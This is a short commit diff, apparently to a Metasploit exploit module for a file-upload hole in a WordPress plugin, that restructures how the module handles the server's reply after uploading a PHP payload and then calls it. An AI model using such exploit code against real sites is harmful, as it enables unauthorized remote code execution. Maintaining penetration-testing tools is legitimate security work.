Fix 'if' condition.

Author: espreto

modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb

@@ -58,16 +58,20 @@ def exploit
       'data'      => post_data
     })
 
-    if res && res.code == 200 && res.body =~ /filename/
-      begin
-        new_php_pagename = JSON.parse(res.body)["filename"]
-      rescue JSON::ParserError
-        new_php_pagename = ''
+    if res
+      if res.code == 200 && res.body =~ /filename/
+        begin
+          new_php_pagename = JSON.parse(res.body)["filename"]
+        rescue JSON::ParserError
+          new_php_pagename = ''
+        end
+        print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
+        register_files_for_cleanup(new_php_pagename)
+      else
+        fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
       end
-      print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
-      register_files_for_cleanup(new_php_pagename)
     else
-      fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
+      fail_with('ERROR')
     end
 
     print_status("#{peer} - Calling payload...")